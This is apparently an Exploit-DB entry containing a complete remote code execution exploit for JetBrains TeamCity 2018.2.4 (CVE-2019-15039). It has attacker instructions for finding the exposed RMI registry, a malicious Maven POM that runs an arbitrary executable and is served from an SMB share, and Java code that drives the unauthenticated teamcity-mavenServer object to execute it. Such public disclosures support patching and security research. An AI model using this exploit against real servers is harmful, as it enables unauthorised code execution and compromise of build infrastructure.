JetBrains TeamCity 2018.2.4 - Remote Code Execution

EDB-ID:

47891




Platform:

Java

Date:

2020-01-08


# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution
# Date: 2020-01-07
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.jetbrains.com/
# Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads
# Version: 2018.2.4 for Windows
# CVE: CVE-2019-15039

# You'll need a few .jars from a copy of TeamCity to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/Main.java

# Instructions for Windows (easier case):

# 1) Verify exploitability.
#    1a) Verify the remote host is running Windows, e.g. checking for common
#        running services and their versions.
#    1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
#        scan using nmap and the rmi-dumpregistry script. On one port, there
#        should be a registry with an object named teamcity-mavenServer. This
#        object should point to a second open port that is also identified as
#        Java RMI.

# 2) Prepare the payload.
#    2a) There needs to be an SMB share that the TeamCity software can read from
#        and that you can write to. You might establish a share on your own
#        system and make it accessible to anonymous users. Alternatively, if the
#        TeamCity server is domain-joined, you might find a pre-existing share
#        elsewhere in the domain.
#    2b) Place a malicious POM in that share, e.g.

<project>
	<modelVersion>4.0.0</modelVersion>
	<groupId>com.mycompany.app</groupId>
	<artifactId>my-module</artifactId>
	<version>1</version>
	<build>
		<plugins>
			<plugin>  
				<groupId>org.codehaus.mojo</groupId> 
				<artifactId>exec-maven-plugin</artifactId> 
				<version>1.1.1</version> 
				<executions>
					<execution>
						<goals>
							<goal>exec</goal> 
						</goals>
					</execution>
				</executions>
				<configuration>
					<executable>calc</executable>
					<arguments>
						<argument>-testarg</argument>
					</arguments>
				</configuration>
			</plugin>
		</plugins>
	</build>
</project>

# 3) Run this exploit.
#    Argument #1: TeamCity host (IP or FQDN)
#    Argument #2: Port of RMI Registry (the first open port described above)
#    Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
#    Argument #4: POM goal (e.g., exec:exec)

# NOTE: It is possible to exploit this issue in other situations, e.g. if the
# TeamCity server is running on a *nix system that allows access to some local
# directory over NFS.

 */
package com.whatdidibreak.teamcity_expl;

import java.io.File;
import java.io.IOException;

import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMISocketFactory;

import java.util.ArrayList;
import java.util.List;

import jetbrains.buildServer.maven.remote.MavenServer;
import jetbrains.buildServer.maven.remote.RemoteEmbedder;
import org.jetbrains.maven.embedder.MavenEmbedderSettings;
import org.jetbrains.maven.embedder.MavenExecutionResult;

public class Main {

    public static void main(String[] args) throws Throwable {
        String host = args[0];
        int port = Integer.parseInt(args[1]);
        String pomPath = args[2];
        String goal = args[3];

        // The exported object may point to a different host than what we're
        // using to connect to the registry, which could break things, i.e.,
        // - localhost
        // - for a multi-homed target, an IP we can't connect to
        // - a FQDN or hostname we can't resolve
        // - etc.
        // For this reason, we'll set up a socket factory that forces all
        // connections to go to the host specified by the user, ignoring the
        // host pointed to by the exported object.
        OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);
        RMISocketFactory.setSocketFactory(sf);

        // The rest of the code in this method should look fairly typical for
        // interacting with remote objects using RMI.
        Registry r = LocateRegistry.getRegistry(host, port, sf);

        MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");

        MavenEmbedderSettings mes = new MavenEmbedderSettings();
        RemoteEmbedder re = ms.exportEmbedder(mes);

        File f = new File(pomPath);
        List ap = new ArrayList();
        List g = new ArrayList();
        g.add(goal);
        MavenExecutionResult mer = re.execute(f, ap, g);
    }

    private static class OverrideHostSocketFactory extends RMISocketFactory {

        private String targetHost;

        public OverrideHostSocketFactory(String targetHost) {
            this.targetHost = targetHost;
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            Socket toReturn = new Socket();
            toReturn.connect(new InetSocketAddress(targetHost, port));
            return toReturn;
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            throw new UnsupportedOperationException("Not supported yet.");
        }
    }
}